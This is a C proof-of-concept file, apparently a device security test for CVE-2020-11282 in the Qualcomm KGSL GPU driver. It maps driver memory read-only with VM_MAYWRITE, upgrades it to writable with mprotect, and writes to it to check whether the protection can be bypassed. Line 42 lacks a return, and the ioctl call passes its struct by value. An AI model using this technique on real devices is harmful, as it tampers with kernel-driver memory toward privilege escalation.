1 /*
2  * CVE-2020-11282
3  */
4 
5 #include "../includes/common.h"
6 #include <fcntl.h>
7 #include <stdio.h>
8 #include <stdlib.h>
9 #include <string.h>
10 #include <sys/ioctl.h>
11 #include <sys/mman.h>
12 #include <unistd.h>
13 
14 #define VM_MAYWRITE 0x00000020
15 #define KGSL_IOC_TYPE 0x09
16 #define KGSL_PROP_DEVICE_SHADOW 0x2
17 
18 #define IOCTL_KGSL_DEVICE_GETPROPERTY \
19   _IOWR(KGSL_IOC_TYPE, 0x2, struct kgsl_device_getproperty)
20 
21 struct kgsl_device_getproperty {
22   unsigned int type;
23   void __user *value;
24   size_t sizebytes;
25 };
26 
27 struct kgsl_shadowprop {
28   unsigned long gpuaddr;
29   size_t size;
30   unsigned int flags; /* contains KGSL_FLAGS_ values */
31 };
32 
main()33 int main() {
34   int x;
35   int y;
36   struct kgsl_device_getproperty param;
37   struct kgsl_shadowprop shadowprop;
38   int kgsl_fd;
39 
40   kgsl_fd = open("/dev/kgsl-3d0", 0);
41   if (kgsl_fd < 0) {
42     EXIT_FAILURE;
43   }
44   param.type = KGSL_PROP_DEVICE_SHADOW;
45   param.value = &shadowprop;
46   param.sizebytes = sizeof(shadowprop);
47 
48   if (ioctl(kgsl_fd, IOCTL_KGSL_DEVICE_GETPROPERTY, param) < 0) {
49     return EXIT_FAILURE;
50   }
51 
52   // validity checking that mmap of memstore with PROT_WRITE is blocked
53   uint8_t *mmapped = mmap(NULL, shadowprop.size, PROT_READ | PROT_WRITE,
54                           MAP_PRIVATE, kgsl_fd, shadowprop.gpuaddr);
55   FAIL_CHECK(!(mmapped != MAP_FAILED));
56 
57   mmapped = mmap(NULL, shadowprop.size, PROT_READ | VM_MAYWRITE, MAP_PRIVATE,
58                  kgsl_fd, shadowprop.gpuaddr);
59 
60   FAIL_CHECK(!(mmapped == MAP_FAILED));
61 
62   if (mprotect(mmapped, shadowprop.size, PROT_READ | PROT_WRITE)) {
63     return EXIT_FAILURE;
64   }
65 
66   x = mmapped[0];
67   mmapped[0] = 0xFF;
68   y = mmapped[0];
69 
70   return (x == 0 && y == 255) ? EXIT_VULNERABLE : EXIT_SUCCESS;
71 }
72